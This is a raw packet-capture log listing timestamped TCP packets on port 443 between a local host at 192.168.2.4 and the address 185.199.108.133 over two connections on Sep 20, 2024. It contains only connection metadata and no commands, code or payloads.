Sep 20, 2024 12:14:57.074408054 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.074415922 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.074440956 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.074450970 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.074482918 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.074506044 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.075148106 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.075232029 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.075251102 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.075262070 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.075303078 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.075323105 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.075866938 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.075907946 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.075952053 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.075962067 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.075989008 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.076045036 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.076556921 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.076598883 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.076639891 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.076649904 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.076677084 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.076709986 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.077253103 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.077315092 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.077326059 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.077337027 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.077378035 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.077394009 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.077752113 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.077790976 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.077832937 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.077843904 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.077868938 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.077922106 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.078417063 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.078484058 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.078500032 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.078511000 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.078542948 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.078558922 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.114674091 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.114734888 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.114780903 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.114799023 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.114903927 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.114950895 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.114950895 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.114969969 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.114970922 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.115004063 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.115037918 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.115077019 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.115677118 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.115725994 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.115761995 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.115770102 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.115793943 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.115817070 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.116254091 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.116300106 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.116324902 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.116333961 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.116358995 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.116381884 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.116966963 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.116988897 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.117047071 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.117058992 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.117105007 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.117933989 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.117955923 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.118010998 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.118017912 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.118047953 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.118069887 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.124664068 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.124727011 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.124751091 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.124761105 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.124803066 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.124829054 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.124996901 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.125053883 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.125082970 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.125089884 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.125119925 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.125144958 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.160897970 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.160940886 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.161014080 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.161034107 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.161060095 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.161293983 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.161353111 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.161393881 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.161410093 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.161438942 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.161469936 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.162014961 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.162055969 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.162131071 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.162142992 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.162170887 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.162626028 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.162669897 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.162703037 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.162714005 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.162741899 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.162765026 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.163485050 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.163523912 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.163568020 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.163578033 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.163605928 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.164112091 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.164155960 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.164190054 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.164200068 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.164228916 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.164263964 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.164813995 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.164851904 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.164891958 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.164901972 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.164927959 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.165144920 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.165189028 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.165220976 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.165230989 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.165258884 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.165290117 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.202292919 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.202342987 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.202363014 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.202389956 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.202399015 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.202430964 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.202502012 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.202544928 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.202569962 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.202578068 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.202601910 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.202617884 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.203300953 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.203363895 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.203397036 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.203403950 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.203438997 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.203463078 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.203764915 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.203788042 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.203824997 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.203833103 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.203857899 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.203875065 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.204602003 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.204624891 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.204669952 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.204677105 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.204701900 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.204715967 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.205365896 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.205398083 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.205481052 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.205487967 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.205538988 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.211266994 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.211294889 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.211325884 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.211334944 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.211361885 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.211374998 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.211843967 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.211864948 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.211894989 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.211901903 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.211926937 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.211949110 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.248862982 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.248930931 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.248981953 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.248995066 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.249022007 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.249042988 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.249538898 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.249592066 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.249680996 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.249691010 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.249733925 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.249752998 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.249830961 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.249881029 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.249917030 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.249927044 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.249954939 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.249979973 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.250746012 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.250787973 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.250833988 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.250844002 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.250869036 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.250905991 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.251425982 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.251475096 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.251511097 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.251526117 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.251548052 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.251571894 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.252085924 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.252137899 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.252166986 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.252177000 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.252203941 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.252222061 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.252806902 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.252846956 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.252890110 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.252899885 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.252926111 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.252966881 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.253483057 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.253503084 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.253546000 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.253555059 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.253581047 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.255026102 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.289130926 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.289179087 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.289221048 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.289230108 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.289253950 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.289277077 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.289469957 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.289511919 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.289535046 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.289546013 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.289567947 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.289585114 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.290162086 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.290205956 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.290358067 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.290375948 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.290385962 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.290433884 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.290441990 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.290469885 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.290498972 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.290523052 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.291302919 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.291343927 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.291377068 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.291389942 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.291412115 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.291434050 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.292181969 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.292223930 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.292253017 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.292259932 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.292280912 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.292325974 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.298372984 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.298415899 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.298449039 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.298455954 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.298476934 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.298501015 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.299165964 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.299221039 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.299256086 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.299263954 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.299287081 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.299308062 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.335912943 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.335958004 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.336061954 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.336082935 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.336112022 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.336292982 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.336394072 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.336436033 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.336478949 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.336491108 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.336517096 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.336577892 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.337166071 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.337204933 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.337249994 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.337260962 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.337287903 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.337332010 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.337759972 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.337800026 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.337847948 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.337858915 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.337884903 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.337917089 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.338807106 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.338848114 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.338890076 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.338901997 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.338926077 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.338968992 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.339418888 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.339457989 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.339500904 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.339510918 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.339555025 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.339622974 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.339656115 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.339698076 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.339742899 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.339752913 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.339780092 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.339807987 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.340214968 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.340255022 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.340301037 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.340312004 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.340337038 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.340368986 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.375988960 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.376035929 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.376194000 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.376204967 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.376270056 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.376507998 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.376548052 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.376583099 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.376590014 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.376621008 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.376638889 CEST	58639	443	192.168.2.4	185.199.108.133
